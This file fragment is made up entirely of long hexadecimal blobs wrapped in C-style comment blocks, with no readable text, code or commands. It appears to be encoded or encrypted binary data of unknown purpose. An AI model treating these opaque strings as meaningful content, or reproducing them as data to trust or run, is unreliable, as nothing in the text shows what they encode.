440d152fbc9c4744df59cf34da10c590b98507bc8457f9c6279740fba2ba4a8931c2b7d32c03970a2b98b0b8e675e70204c2ae49f9c2c0a146baf2d66af49fc68470069bc4f4c34f0c0d55cce13bb836408d36ad251e2fa0783104507abdddf059c1869749e03a42973b1a1317d9e1f0d432e79cc0e36b73458e44905ad5d677c438352fdefe752f14291e77662875a483934612a90826e3ecba2976f197af77f9d718318039224a7b4c4c4910981b423f8b3f1eaff926de51c8b6e1de2476a76fc86c516cd038cc53a2c0661515c62864d30320a27aedc7d479e354a2489b58972c57c6ea89657d6a38ea92301050368e5ebdadff4ca63b17909e3444e8bba5caea62bbae30e0dfd7c643b2fd3eca696ba60764af0a67e14e56753c2c47db757c5715a53467e16ff1a4072579e6a07acd073a788c42847051612fcd451434cf211dca6eb32ee57c124c6cb9d92b4edb58320aeef0e0cdb5d2818ef7243facfb41d5ef8ebdacccbd97e5912acd12920e0148d7ecddfac3b304147e297fb9c2f360e3a9d1a9637cc75637bb0a7945ae7452dbebb5299b0c4c6*/
/*03140c622e1fd50d41357995ba6dc5cbd076cf88435bd94d45df8fdfb4de97ad607aa20b1fa6277c624e9c6299660bf4999ba078ded1a30bc1ed6049c9e28552831c9861b78e90701d0fb69219d9b8a2bb619a3611c8e91cc774e87ea69bf1430cc7765679130346ac4c86759f4c7aba145e9268e32941f9bc484c8fb21b470b52ff858b82e5864ed0320be7a59928868b0b1b44f95900041b438277b3c269dd79460665ea414fb1799e865f4f54af29eaaa73dd05c765dd61948c96011a0861e99df23eaee7246c505004e75bac20441996daf313bc27d3381ae04aae87cbfd82be5bdf513668fa62f97eb1d8fe41f5a71c43d222ef42212513359de923d0b3393def4a9773d7afe965106379bb4a05e0dbcf931ff653621d440e4ccdc1e4cbfe054d4477db26938b3a2b09e8d060a3a83534ace20d0068e0a81a9c85b00ca0a112c92fb48ff5904c993c6303c4ae25fab2cddf6e49881d3cf25b23f7cfae24503ea54205616d540c9fe43c70f3052cf7e1abadd8fe4fcb8ef49d6b77c02358852a55539bfaab9b8a52c89ed94faa324fe239f7ee511f787b1d020f2d59cbdc1fecd27807c13e3964e1ec5538464640ee28d272a3fdb79be0f36ca52961ea997ba0b613fe2f16e6527ca060cc17d900304715d9baaff5b61d03d23c73532e7e2fc34a7e1d9e3d019c2c691a08f24a6f56791eab4c95e5f2880c973e76473989acd1eaea17a0e237ee2e788973e7ab1274291b0afa9f1cb5d9a7741eaf6b5b31e40abadbd60fb6131269b47143c242c9a431347fe4fbd85fd30f90a85d29c5687f5bc2704cc29bac762e6003cbad4f2976d1884a166c491b1183089a954759de875f6c430d3ce57d6b0ccfbf90144a173cef652b3c1a48d3347c6c96be3501d1f0ac39c333b2eca36b715c4d04baaefa9a81327906d34dd5d78f1636a54996a42dc8e3b6eb2d1bac01a5d77f0a146a0523e377d64a20b97db7ec706c3058458da94634d5f1493b14c167bc7dd968bd859f495cb0816096d3ee4cc379dff7b5d995408dac39d5cb136e0a38106313bd4d92640cc869c279a35ce278c5cfcdc6ea3ef1d4f050b7c8a720a4651799f5eafe1f92121d42f77301a17d09d17008cefd7b196e891c007dc79444e434d8e0ce144a72ebe2bf9aae67c8c47a499210f39320ccee3921697e3e47b8c300d7677f310ecca1cc4fdcc44dcfddeee8f6c04fc4363fe244ffdeaee0c291ef33824a2780bc2dcaae65fd1bb7ba296cc438f085695a253a4f01639e8eb976c0f8c591a56807dc8f3f762216ba87e49f24aa4ffec97d57efba7fbbdbd2fc86046342531cd7293668508b1ac86857402c4cd539707e33a9e4d45b9b78a39b124f54dffb00eaa39cbbab7f682eeec8687e8ab842952a2c5db64a0cdd7ec3812066da55c6aafe19f97e238e8a458baf7f15c2c5a302b82c026945c14b141721e06f412b70144dc0dd122797542e7d3f64353e8f2da2dc67ef042d5bec4f14ddb5bb5a8179da5f5e17463ae0d0666a48915a4e938dff3873de9aebd4099949fc51faf883952bc305ba942b3547505700eeffa1771534516cea3522c69a6b6e0078126846e2716352434fc3ec94b61b48ae30fd64740088752c77d014b525f77f0c0003588a672cabf763541b6679d544ae8484dd27e41a7db7d62b546281bf29195cb086c3898b4119fb9dc0db69fa0b5022664408214df790e8926de4047bc7540682cc87da74f681d297ea55d344d48e614af4ca2371015ce2284a3cb07efcf8d9e37205f0354a105b5a72248428308b3d532e3847316e9c6619fcaa66a1c3f1d65a5944058c2304d9c678bcd11250bc668d82a95e76aa1ec0bef7e6352c2b97500f31b7f5cf489966d0f9390379932efb1b5912ec130c2e17767d784b43ff337e04dcbe94500337149740eb1d3ea26394b0e6ad482b69c535a3b2cd8f3f9b7424bba00801e7b9f9939482c6b1328e9cc393b8d28c25e0c39f10e5906ff175629a84e19c8998301daec49c17f5d1e149d4b35f6e937e8b04a0ffd6c41fbea09aada564f6cb5debcdb4a48d159ad4776eac057def66d83544d447729638f9371319ac9dcf2e530a9d6c1de68b6b3fd61ea4936851e08e0dfedecfb2893b62beab3a055d855664c85601d88f37c004567ae6ba5e775c7bc3339971cd49a84bce5cc13d46f012253e8c0c226dbc4574c4319504cada787283ebd40a2c7ad5ba39feb6ca22118dc506bb9d886bf84f5dc91edb84b9bf4e1ec787cee828e560e4f4215aa245bc091d5fb540619dfc6ef1fa1e717f701a4cce8dbb11fdf09b75fe2dd2e533eebef9b059fcf639f7976248366e11bf9e4545b2572c9e83f4ef5280f48dd401ce556a54efd742387871dcb6336efea467de4dad1a37e7bda751fec6f5a8b179898527aca1e7302c3b3c753c24f986b78f39979dbd9fc83c468c7e35f689191096b5b3ed6713a549b7b77ca4414f60639d1c50663a0a876de0840c2c180baa266c29497bfc498283503bdb5df036394a862b6a9ab77a913221f8c3b031060dbb9bd7d45134b64b2f01ccc82202d9742d5985c2b7707a779b9fc5d9514ddc59e830ef33da3c55b4e4aaadc467c8e51ec95e0f61735210753933abc9ec3fca3939c660d6efbe6cdbed043f7cc2c603e97dc4654b7d2bf3bd095d2d2be32ef20a4d62fa98e76cc74c44b3a8fc80a52ff054e745d5db7bedb02bbb9926e3a4ad9ad0d027c4f73ad8862b34bcfd732271c82b4b6b070655f922162977a1440c79e8ec67d9a7b495cf07a6d783ff040e5b2d36963ecb86eaf54184d5d4c41df93ad83f78f74c5b*/
/*f4612fd55497465d38556243973c59f3afb03852144fed5f64ea0e2fb46ad025215fd2076a6db893068b0cdbe57c356b0ea88f212b0480e06d61589fb493f3917806e6744986ead46715df034702938930841531838e0caf01bf56c454747caeeda4a66fd340a119362e52f094914b72b55b60cee373b9d0bc3f48874d8109cc674027ded21e93daa890c628826c7690c0dbef83bb4916eb96ca1f2fa38fead2b08e57ad24c48d1a915ba88ac7f679c7c7e01370408091454cc0864b5ce44e154fbed7fb88e384dc25811cd602d1e73519d6896b593a3f2be00e4f169527534698313f00ef8b4b4cc26fd06746728e7b32dfd85aff16c0cb904d439a3a0046dcea8177589168894b14242481bb52053d1151c5f170599a9fd1ff62b4905a05e1e942c6a4dd8953b880356c069f6ce3ad07e88383bde36eb3bcfe7ca31a326dfbf44769980cd8595c3be017f6bd22945475c121b26ce42c1b474f67759ca442a71edf7956c598c0773427d56f6e82542f7b69fd4d2e569969e8197f6bea5633a42392431ec89f945027095bccedf3122f83af2c2051aca471ec710a3ca966ee74f243d5359ae12e007233e55bba9fc226f74d431ba044e4860d87a4a3dfc800ea9db5b39f711da70a99a704f5e512c17a06c0c19f2797389aca402312e386283b810ae0245e435ddc42be375c83aac21f3551edc2f4fd4b27a7098a1dd563ea7228f79aa94cc2e4603d667e5c29e519673956973963fb483f0b7d9ffe21fb6152259d1f91b9468a1d7aa73419856499a2527320a47ddd104040b116f96544083e15ec2f6a57a32ae45ba39fe5cded80cb05a7ed90e467a954b3d5871b80b089a7a7d425f3d023e5ca361fb3b6758fbd5c5fa1859a4270c1af60a258fe6dfd65d22b931163b2fe5899f858a157fba17dfdb51f51b3c1817fe134ef8b25dcc614b1337fb1fee07b947e33da047478bf05d199452562cf17ef5d35c2b42aba4a7c9474e68db3c0f604b17b0d2aab08482390e6f1021d6696c01a70828bffbd34c3e7a3e0bdf0d945660a6bc2a327d4cfe47a9c93ac05dd4d553b94c52acf398a2110e86c5da55cf00491d38c87f0d968bde0318a1dedd0534db96dea9df4b1d6dbf8babc56de49c8adaf5bbb86c5bfa7ceaccd492a8e94de5c608dbb4b59835494f1ff12827ed81f8916183ebfd30054ee96b8a602b675fbf26be8b6e69042c6107c3f937528644ace519afa45cd3fed8d0d85ffa438b5bf8d0e121c2bad341bd76e08f626006f6ab22b8736cfe302c137766d63b60cad0fe4e7396429d41ab15480689086a9f2f01b7937706c57b98a7fd2320095ad96ec2f991e3f80921370f140aeb3f429da48e77f9e95f4b06308467459f14e22aad2b076e8557d15732fe5d9118b2f0be3bfdd94baa8458940d3334ffc3e176d13e531846e4079415bdb21e59235ba1dd01f0b80672a471b12e39becd1f3b155a32b403937ee460124b56c899935b07a4ae363c0fa4aa7b3e873079eb5c98225d6730c5ad6fc46454706fecfed92fd90bc1a7b98f880bc22c59bb29cedc5c55ad31bd724f8ab394954275a850abecb0f1ce224ca2154ed053f0559ffe58b0822c017b0f7c89fd14cb9d510f1d28fb2d36ac302ad553665aeb6647021103abcb5afeb8b10881d2c8aad48f9560759b5b27544f61b9c22e39e764b28bdd77701d8493322ba3aebdb25ae2e14fbcffe6682425785df6fa298d23e482750b73dd646d101355a0a5e975820bb6ca36124a182df11ea6fd1a6f7dfd4e0dc96b74d338d4a1bb5894ff3f5a2176eb723a54fc732fc0e5b579198aef8f779978f618f8faae7ba451d154027408807ed69a95135b2a3e8d6a4df2938d6b37402dd48dbcc384bb8fd710d1cb587aabbd5ab62febbacbf97e3028aab2a66355a59ab888ba1fcc00aa40957039ed3aac4a215076078950dd63a1645a02846f66061950912286af5ba868ee12b15b1e8a13e296e648c61699c7a9c7e7872ab5666d89ad53856be53939af14959849297e871fe13db99e286dbae13d48e1739222ff5ff3c63f9a4e786d312698f5a5a149872d5d5313cf66d4ea84c8a14ab544bfb5809e72570958a75bb0ce7ff2375066508f282ecc9d03c46acd914c98cd34171ca5f59a8154918062d589aae178212701d0b4ec02b3577b3b6282272ac5783f2d1921a3873b91647caca0f7801c842593a00b264f66cb1185c0769b60832b3fe8087be833f1b4e064701bfbfb8782a9ede7d64d4820c925ac18847c98f1769ddcfbeab7b7c189a2a82eaf597c47c6b2ee7961510836f2bef91e3f9fb6d594aac61a10a9ff3382496747a27b12590bbe06bbaebe9c3a1f9f1c6b01082bc78b4c2beaf5986186818df0d91ddffe828ce4240e9f7d9f0d1997854374a20864c9e32499320a588182b0136f33a5b3e074b3be1af05983eb94974d5b2fc3e3d72ba121b66f4afd8a1a74ddf8d107609eedea8ebba6835e880d4eed51a6ef0f5c50f965a30a70c7c0af07ccaa610e7b1b58934efe5862a0cfac7f93fcce85e0f58a5cde4e46baae941c2adabfb1d6de9c605d2a3575075e4f25ffad8233e7636e85486fdc24db5d45e2a03e5c06765efcb0183e53e7203a609e09f268204a5ca299507c4b58e49275aef660feb9d88137a2c9302fa2bb8967a457391ceb64d6abe9a4f747911de81c647ea7733d4d25fb64ea48114d714b8b17880e3886a7c8a120b85215718beaca76f41ffd347a4f0b5a68ca05d6442c2cc39b1e5b3084a510d75d178e53f32fb05ad1d7592b0c5d185931f4d80f943a5add1f914078c9c3bca81eebea8*/
/*f2abb75cefa5dd7ab613c89f19d27539e849aff34b1c367f6334daef30b7cde5051a6da82ee66bd222aeea087f5cc56a0fbc472151d4c003f2ec1cdac65d3ad1df1feb1aeffb2952f25128a8c74dccd7dba4d0adc2fa1c39b9f54bfd04df5d6ad2c412a489275ca70672592bd23b153dbd8dd85b1ad49a6c3a2b63cf0a9c1c11cde34b412feabbd45b5bfb054a347ecd17efae15229dc6e6036f6a2f2c039972a1f44644fb26da1a9517f57958331e88a0f660700cfc7c929394d59531250cebe2d4f30b328e70a68793c9262150906868d03d18afbdb56c2ede92c6b9dd96f4d615098c00cb607cd819cd1cd6b2127011dc9092d435218478b677b52d90c54e06d4f8b93def33fb338de8fbf05f0c887d565743000a6b6fda522ae3c546d07dfb631b9fbcafabfc91e0da2c1a58155ca83a21f4d230b6043abd98b137313c9b85a1f3e9d77b5dadb46bdba7a368309193d18de0c245807639724e3f2c773ae9dba29e0a1cca40fb942592a378e4bdd4b73aadb146f73bde137afb0451bba88fa61bfe0fc164c711b831fbc0b6e3a1068c4506c39d2159f1d9e9afa28aacb86a937fbb9c06d49cfbac8a4bd3d71fe096e9cbb3c1fbd611be9744806a859f73634f05648646e1753435c8918e52f64f8df1238f36ef142243df878f14c44d7534135f967f280e340c30e4cead3d360470ea5a532fd1342a5f2db4bf8657758af554f379ccd7bed01e1de43805d578fa5c2c0dc3f9ef064255e1c5de92804fedec40c540f511419ddf496a28eaad1437867d7da5dd112bbde21b5c7b5c6fc66403e42ca5294eb7a2798b092d5e49844796e92d7cca4650868dca967efe4ac9c30101c7c549f3ddb2ec56762b7cd17bd5e7ef55d668685c7c7efe130a1450f5fcec1cd0dbb121784e19f08fab938aa2f085985b3682b6b9258d820109d97e406444ac9ce7b8cc861f032d8544454cd5d67363d9714101e9a1a770c6ccac48afcbce1d17785925baf00813f402c17cfd25d8b616391cf077f17484a47f17a28430460118c5f187c21c762c41697e42cab7f66d0d1eeaf1f4fa0de9e4667d9e206d0802e0c54343fb5017fda6972b00fe19f60bf2f47f5025834344bce3542bd5e4c70532f3a241f19e63d7803278e25edccb7e5cedf01c71e1c5aae04c32cdb8c3bb69975982bcee8c352ef936897fa2b8f69b587f5faafed1231b37f50eb69a3deaf1c3bbe73e266a1a338adba44db425ba9dbc95ce7f579412978348bf128d380fadec3267a741adc3d3eb1d75b48e41971334a23f3be1ad2ccb2f4a5268c198c0694e6e7b9e6bfec7925f1fe6fd3345877b1e3695d5476a9fb246fe8eb5e8d299eff262d21d085eaa079c08c3e5ca5c9ebb26cbd3045d71dd02be544bd005e1bd0ccb54b6af46a8a4d2fc34f9d65bd6a7f3cc50f6099010c85d5b736199673378394ec11f40996668dc5423ab079cfd8724b7eda19ded4afdaa5d5b2ea6eb0c97c817f5e4bd5a86e8515635454ef9a3b1f933a1e1499b2a87b0e4b9f21742ff89e6abd51d29658a539da02d8db93c946b6f82ae76fb783b21070726f7f81dfd6a330500870e388bdce8462c91a8e4ff292095ca84a9bfdd0d62668f75c607e3e6db63e370e52a875628d8ca0760c510e45ffae9aeab9a80a85db8618ccdf0370d57baab43c9a87fcc18cdfab04eb48de80c5803a827bad229dd80bfdf06f83a16e496a7eaa6401828e6b792543b2cf7f52826f1e7026bf7c38c63e59ab071f4a697d491cb22fae27e7bea9811670596cb0128614b427694bdee36474cccbfe07e8b52c177f11d700adb64b6561f1f5581e4edd0638f903adabae3ee16b378d001e4e942feaf8154bacfd8090a522e39e7efd820b74823662ebbf1ad5adfa25a81eecc65b553ac3e9e1b783ce15390b3d21680b33f0689640ea916fe4ab9efa7b5eaf6384492233329aa074898446df6f5cc21395a663e25664a998b6e3e7938c0a873fb06c262dc87ef8e5ae77886321bde42fe997a2c36ec27ad7ff343c8f121af7303b710b91da5d231a1354d5ea8244ef53f3c3695fda88932a361d6e084c809f4858f617e87b1b65071535dd1041effbf4d80820afcb2ea64810980ea88ec5e081d14eee21cdcff0851b0d0d41990df92011ce5d487f6df3aaf25581aea006f65f19c4ded2e09019f5e9d28bd0b648c33c490d231b29f28eb540b50429659ba393dc7a46f5ac5312e4f63dcb1d6a17968e8999fc84cf7db9ed1407454d189971b6032e617938893cec0c7f8850166f917e5a5554766028384f8431ce8c0e7a898db0ca4dbca0cf3a7a1b60aeb05f61d05026f9805b57f1c0e730d6f6d874926901704d1d041bc291e25fbe8a73ac26d92dfc5bbb9bc8a22afc86b0d5ff5e8f3991424342c2ed33102371cf0e16d299f859ff71c183f99333bba9867a010746835ab7cffb76242a3cd502a7dec767fb57eeedf0ede6721a9e5f8128590d88e4bd89ec488d0ea326f7cba729c589b83f9439b30cc9f07e735601f3723d30e8793212d54ffdb32e82db0e03b0225d3d6d300955de64eb053709e632a10fcc1c7bc3467695bcb3356030f4c481cc7bc6ad1515d1e1895efe672ef585bd35137e518a3313f2a98206a8be11fac6a83538682d87bd6a50487db68a14f7a8d6659a97ea838381c9500740ce1608acde252f52ff16dac0f5547bc5d375142cbb6310b5175509705824a31e21dcff3f2d1d6e69f4cfb6c1d230540bfa4dad85697b665671ec1145d1e464f8578f668c2fcd0b6b83952b16793d4cfdebb964ffb32fbb142b39fdb59db2dcdcfeaab5c31df2209*/
/*48de8b0b12e8eb212735abf528917baf514f55cf524516fa306780d93604810fbc853f2176f6d3964dde9401fdfd94d923259977ebf9462cb2fb7b9dd3f4a54e9a131bd9d1682da753e3d56790e9dd0b29cf65d8e2ec71077ac70710fb084c5fbad7517a28846d4fac36e89b7875329991f70956db142eed8354e096a339105a925c0e9ba7232ff99f9f26da40536f302969af48b473ae4664008bcbfb548c41ce97d903b200732796788c9cb18f962a89610ad57e561e907f08994a1108bee6971032b00acc27b7d2e4e62aa8079f9de3efc3e51409a96b4fb7a2f614b72933671b493250997a58be159de8257930eb52010453b1978ba4a938885affb072e966e7a757878703740a9187bad7c3e900178b46b45753cb40d6e4c7df48510d13fcb52ae801d4412c0eb3706cc12bfeabb3173ac00f9b920b234b00631d3ba8368da5279d142ef23726f9c87903597c85fbeffa5b1f909664941c54f10f20cc8d85611cd9a41408179a1c9ade2ac17e969f6a83a2d68771287e2c66aafef2ef2440ae4149f925485b61ab96bde920edef4fc99bbcedd6d09cf5684e7a79ae3a8df9b3ac83a9fd24795e4899017cf88dff2fa291e93cc8acd290f92e73743d408a2ee1a30e079b5cd617e8d42b686babc331674c31cb05f31620d2697f45d155a7768ddf743f5fe0d140e389f28bcf53b936c0eb3e5e2857998acb18e68296f75bf90305c4d9969bd7da6e1cf9782a596deb607777537948967f120ee3c6b02c9bbbb39df374608eaaf542e6a4eae3d136542a25de9b09f5a6c1bc5d0d58ff6dfab5852af4b94eb42767bad7595ec4c092b8cfc8d063b98ac8a8e2197c95f282c50275e3367fd01f37beeffb96c5f385d29549e1567731a7c378c84bab873e1c0537e77e441bb86b8ca6ff75d12b6dce95dac1a8742a6df0b6e62d0f25e61543297ff04a2258c74cd7a7d420624283786895f49d352e031882e5c08544a6d262a9cd245f173ba5f1cdc79875b85c89183402814c993a96d9b0ece1001ccec1a4506819683baeaa9161c653b1a137641c9b7ddd58ebdecbd686ca91e43e31076bd9b27a3d45b841f6e8713bd321702de6fc80e9c9ccb7a348771ecdbff300a508f0347a33f5c4a21cf545ab9b654efaaa3000b909cb5317e3e049ef95a7b20aa586d3d70fb10f2fbd5d4ead4de4ccda993aa1d98732010fd722e24cf52202cea827232418d05b67f066091c5d5ea849d4246d90ea672aa64939c4dc9976176f7fefcf25c2673034d0ec7c0a3aa9dfbab741bd911c86e03ad61ee9f27be10e4b03f538758e14026da26b81ff769f06f48e839026f3b06882319f201442715792281f67ab230e6ae6ab0c030fb3a5e2bfb902014687083cade18cf9a5ee07d3630ffa70bf5eea9aa04a24dd2ab7d458deffd9d4135594b8565fffece6568c3dca8280ab406cb46ddea917e431ad5487fff0213461349acbb2f41fc4780b306a1b36ecdeef549cac369cdf760dff7a614b6b8632eb1d28394912d1dfec28eb114d835249b5fc1486b3f634ff7540f8bf2dc9b40036f08f26f90ce75745dbd0675f2297947d403543ee961af004fbe66c57248e2d4d9036c863355cc3dae4e8f7b86a02c856be6d05bfeb7d305b5c937d2fbcfe15a2350cc26e21333d21eaa8752dc872de0036d658d9aee51992b58052ed00e11332546cc8ac547e8b4814520be06d236a9ecf5f3fcda2e4f2affe7ed0018f39dc53121ca5964c4c3564fb7b2b6b453034244cf64be302fd8f4b78498209d2c826c65dbad78c415b57b6507e5fd3bd0a2c4129e3ba0ec4326f25fbad0210311fd7bbfdb532805d29b36bb0c6c1839070d5986e0f003f72735730797b28b9433760c94ef9bccd2c85a5e69dc4f4ce34cf0adb9a9e437e8c2e522678b583c475b12d2a9f1cefd1b8d0973fd9ac862c6aa036e04777ce318e72d2409fd3f9b4c31df1140a4de2db92dcea422a24b9a01c130b744e90035a21955b38610ab09f82e8ae160f739be2374aba497dcfb438983a8dc0281f7f0cff424c7c8ccc3abcc5358b7e3689602d964b127ec75d9939e5d9ed01d125e86a0d506232d9f9a49ed2216a34bf82456a1af8439b3e3ba96c2955f8de679332fbca6b92ee0d6749a96ad7b29f84e1df2b584539052aca2e70aa3821809b43d9792b1122a5021ed7065317df91978cbb504cf734ca526b8348910d0bed28733f538868a5f5fbde0a57ae97441860c68f77d0106ea218d3805217027d03bfdd5f311c4436939255cb49386947c12bc53dca16b7e301a6e6ffcc6fa130d5f0e90432fa0c1ef7f0efc7ae2b684dfb81f27282140973ca09253351ff6f1c7ee621bf018d50b8bb3397a5aead5e0b4ee57943fcba795fc4acad858b615594a449a588ffa652913ff999edc4db6c5072e90d82dd24bd9beffdd1cfe998b79cb456201d2d515dfd6d959e4dee858e6939860a40cf3aced18fd5b8cc751bd6c3cd2213125637fa66395942aa088cad43d93028457d1e20ffd2f181bf9dc0f8397bae3d36776876ead9be7231c805166e77d3e68ed069b92e90a29a79d48c80ee3cd0edecc8a216b2c0bc60476cf3bcee051fa5d0ab448351227fd73d23802ae487ccf8d52e5e8e2b37460ad33842412e10d6f8ea98766db348eebc3965772547eb3d737ba649b8977a5e093275b1730a1847d9d016254347a81ed976e2b7ebff31c5015bfba8355ed65ab5f3167694aca26508a562cbdcf35ef5aecdf8131340067931785cc57312e8b301fd2a492d2cf912ba42b70a7d193a9745a97c8234749c489e5c5595b9a4bc80b1b5a5e0af*/
/*e70aebaec53a67d35d4605582996a694c5678145570bf3adbd730bfb848e317ef60bfda2b3f3a2b539e9360037f071f29222acef60115e06d11337ea9fd4e488f4c71411ae1b15036ac994dfa4453b112b7e4274afd63d9dacd2e896b0ffe0a5e858ad37e203bcce0568e4d4fe0d5c0aee39199e5d3cc1afdf009b25a058493efdd607d7df63e440273112cc93c05ac0e421dde2ff6d315937e39f7ff481385b99168a0c4799522612bcc90e5277448efff14791a3dcb707b3a8ca4b6885ee396583bca6991fa2c477a5a51656a3293960498d1f28edae02affbc42dcb1a283ea2514db42148af13d32fbfe51415c30ecff0c142bb5d1cb082ab96b3e350f506cee4addbc5b72e3ae75e1a3c0e963411bf98626dead1458d96d112ec4c615e7a862d009622267954f2e9864e6217ed8e61a8d27cd4019559cf065463db0d95a30aa93dfec9de65062d8c688e17c9603d1e04b44d7f13e4206e4def47f47144106844e110ce99a395ab6ad770745bf4db7fdb6902123d8e46ff83325603745beec038516de6212095516c3fc7eecbc6545dad48ec8960ae59afd411c24b8365c8eafb99afc73fdacf39195d332cf58cb742e6c521f2e85ffe34754969b2cd0b9ebc0859bdc4da793e245114a74701af00bb3084f47efdaa0a59aa7dfe3e98bdb4ebe49f32e0fb75bf4b1e0078b6d9188a3822a9e29d3882954198a077fc2ff2fd21d91a114820fd12ba3bf4cf638cd5cba075e6d84f01c55691cda7bde35bb897d94647869ae857c0e0ddbe9fc4135afe921bb7963cad420305ab7c31ab29e3f8b96953962c1eaa2f915025ae37c0bb7e3555289474a006c311e8204bfd90f93d9b449edb905c471e90e078ab505a177656a3ea9ff1455c66a393ad9e91412b4bb0bc4c9ac24a38fa331ca224076b930b84637256cde2bad4cee4b3d4f3b0edb1f7bc53e247ddabfaaa05d50e56356b947a9f560f49e5c8a6dbeeef2ee8f85768f869b3127abb2cc13a1ed7094b16ed16872310dd3e968bf89733d0420e8311def17c302a521081c1faae362db637858e6ac99425b5cade3995f6ee41c720e20faddc0ade09336c087afc4962ef5faa4feddd09225b52d732f1cd74f6cd0dcf3fcf75806005fdcdd13db16f4aecc6c4304ad614fc40da9951417749ec94b1f830b8915f1867e2f74329880c5f878969073049cf9e27de18d0e1e080bdd9abdfc5fd8c2878515f723fce8d5a7ac038f667575abaf9eeb70d6c18cba2421f523ca7c47c6b26138f429c7dcff686a865181496d78eb9eb3502701565d562d858cb50b02503a1696e28e510dd373e1dec5ce0e8f9c63e362bab2ba4acab7a63f8d391b78f6b44f438f9863367359d5d3af59cc87ca7efacdde619c9805f41ce0337fc0964ee834874130c2bfe495e1c3224c0f206f2435b0e1cf3be46fbe2c86c4a57476051cc968a3ca7449926ca8ea868cca86b26ff98306bdfd9bd3e140061432fe98af1f40e843506e29c6f4df90f899e07d3f8bc3009875d119a407e200c123e8ffb610b70b8cb58942063789e460ebb045f976f1da1a1dd657993c2b088f0510e12eedc34d5bb45d914faf926791922a8dd5ab69a97ea35c023c4fd2975c50ecd4991fb580f9339cbaa4fb46eba512067acbf03d66ed27e8aa2b43baf3ee05e35a3a4b4a4e90a82b33c205b248f7b8002250739af261581d6da8ee03df53dccae30036bee2b84218be9a9cdc0eef7ca4dd97fbff0bb898064572c7f3b3f8dc9f96840156370d9d732cbaab9a1e7e7e07233bb6f6a1e7827212c9de6376871bf1fe8d18d1c2b38d5636236187c710b20202aa0bbc408e26f9a5fbba7fa30482c01c203c97244bdc3d0d17394e7ee29a01dc9707f976de51a23c16372ce21c69037288b1192160b425dbafa67d80ad50d07aef3842cab5ed92e97e2aa27ff472ac5933479f1bba24c0d4bf6caf84b43e77405cd3c6684426a2b0cbfd4d8bf3ebce35c1243a306decd35c0f12ba12d920a58cd71e1242bfb6d35ee8be70134ddfcc0948b60509fadc776514fa6bb54e5f77a2f38e6dd4c04180ff16f79693bfcf253e9e694a70dfcefdf5d4fd016f51be721d63062d7287570833fd38f6402df9917367df4374430fcbb8c47270e0d49da210f0dbafd487eb7226630f31f7940268c5ea81ec5663f1dffc25ae6be9fa8009507163828d1698b9dda3f17fcea7015f2d6b5b41f7c14e2078605bdb2a380c78f47fb680b5437c0e0a7cc8fd172d64c7e4f3f71671544163f75e67074ad2c13109ab14d3b0e795cafbe0344be7cd3b6c027936265ecd40b860d0867982b342d16c6d4ce5924b3d266085d87062047adecd2d3aa2dbf801c5854cf2e6c7d49d91ed79e6098ad1b411a27eac2555fe358928a9442b19a187c0574d634514312c7613543b802d35fc54250dd39155efedeb8f7441fca1170632b4396b3d57aa11e355e517fdbd519251d21b4567c629af4c1630b8054fd6ac46d88d998fe78565570d49149d05030d01a3cb3b8f2421156baaafa11353e49bc53f8d35e587819cfcbfef76b7d220de26fd5d39c5637520e8b8f84e71890bf48ac707c2c41c6b47225a7e58e604a5c1f854e5f6a6853d5dbc90898182f1956e6d50a9328d55823abb5ad23b70740a4e0aa95fc69675f95f61683975fbfcb3353c95a1dccae1928d9d08620c4f037428280524dfa0d7cf8dff5d168b5e1af1265ab31aea27627d34f193c11c0d57c7715974a8262caf84f302fe547f5bad16e19741a9c207d4e93665890d0ebb849c2af0b6e021030d8c54763b03f22f41604dc8d874ed57a518b1a*/
/*3a12517ce4b32fc66409c66d6fb47d0128a7b6f6d09859bf37d69880fe4a2ba0fa523bd77d1668af1ec6df1f5a4c9d253ad6c93a04fe18753aa100dcced82bc782b54b3be46037773955dd590c2b101f55c9dc9c2aaf296e190719484ccdc3d58c0b66e953da419743fbe66129f7350dda4cd5e018be4ace0546f3b6c4f00a0980670f7787b888d2bb24618fb83e3ff03be329a1d14e157a3633bfe705db7524f37a556f19286a5f0cfb500266a78023bc06177e105c2077380f18a7606ded6876e121f8a18b23654c9d94c830539fe2d2ee75e82167fee0a3df55f34cafb0642e2f9ebf48b4d32680531628814bdbaef4d92ae78a2386ae2b1cc18c59019193f4feab57212caed02bb268d6f2b7cb128a2355967f9718d1e4b3799194c95faca6ff034d66625930a1832831a6b4a0e172c9da01b0dd753863be5e04a79ca1d485c9864f125da331a7d9e93052f501a4167c059c3cf0b5a870da2adcbed6c9ed69cc98af0eedd3c7a132f4cddd80f978575e453f1cabc93582af17dfe8b4cecc3e07380960e0b82edd3a104ca6935df4778b2bdbd40d736d06653c38870a212cb3945e26e4043541fb0e82d6aee4c09a846d5dd38028c9ed26d9b4f42bc74c9c87d87be4b11ab3cab34f774ecd606976235ee7d2f80a1e5daa957eb56358ca115e49718c0bc2ea6e56f63e3753ad2683ebf7a73886f3a7da13839fe1089039c3bbb00a9c5cc4cd5ecef17c959007f9e52c5563bf00ba43a73d2ff6d19a1c76583c938c6634eb2e6299544e46938fce2c5442bc6030e0b50d18c15de31cf791d12248de1c9cb0d7d94a6b7ed7b157fc0b4e4ee90a1dd22a0697cea57a3e0dc67273ff4038ec61198e9fcfad1014e17f2f8dbbf53648e396b908fca093a519d8959d49c82d6e867f3bd1210455ed05806df6f9ff9ac0ff4b9e4dbd3ec4074051b4f884d063b18f8e3a2d6c2bd84c6afe36b17ac6490d7e9307adf05f336bc698d89304f5326f42f995ea731220425be235bd16288d71aedd4d7d1bc0d391f3733186970000289cda2551e6eb947b44c52d167055d13936ba8f7aca7ae54b19dca64bfb2b430679fccd4b5c0c16f5e7505d47a61de595164117eca46d8925ee782e514a3b3a006a301ce7a8a6c851dc54b2e95db2a658cee20e173d075bdf601c91f04bb0fc27cc10d9b6932086283cd7933e2dc4692427c88c9e665d0c8037b967616c887e6190d5549397669b8efab23c6bdf51eddcff9b494d1c71fbb1165ee5ff3feb7f8f6af0cf20c8652909191b5d94aa4c2f3424541db6909e1463c1b19dfc1bc83ec9b2e4b3b71bd97973187f515ddd0a10fb8d34a788c32340e361c250a51b2aa2a448473325f9221e0a6de5be04f787d1483f5874681236f35b217d24ef7aca44b58d9f65e0873f5dc931b9441a45489e129ac027cd22c5d603ee2e80294a2b1c73c8e68c69638a74d07f11bea611832c6f9f48fb5f4d5e218a20c220e7e7859d72de50f7cb52766c0bd0d59c1dda4061b81e73156a5637db6585bc56ad5b2bc394642eea3cf07b52f6098d554fdaa04794715ca332ea52d02afa7a1a6d85c7d13332f65635ff689547f40b9d574567162fa3f7e314094b366b9921b2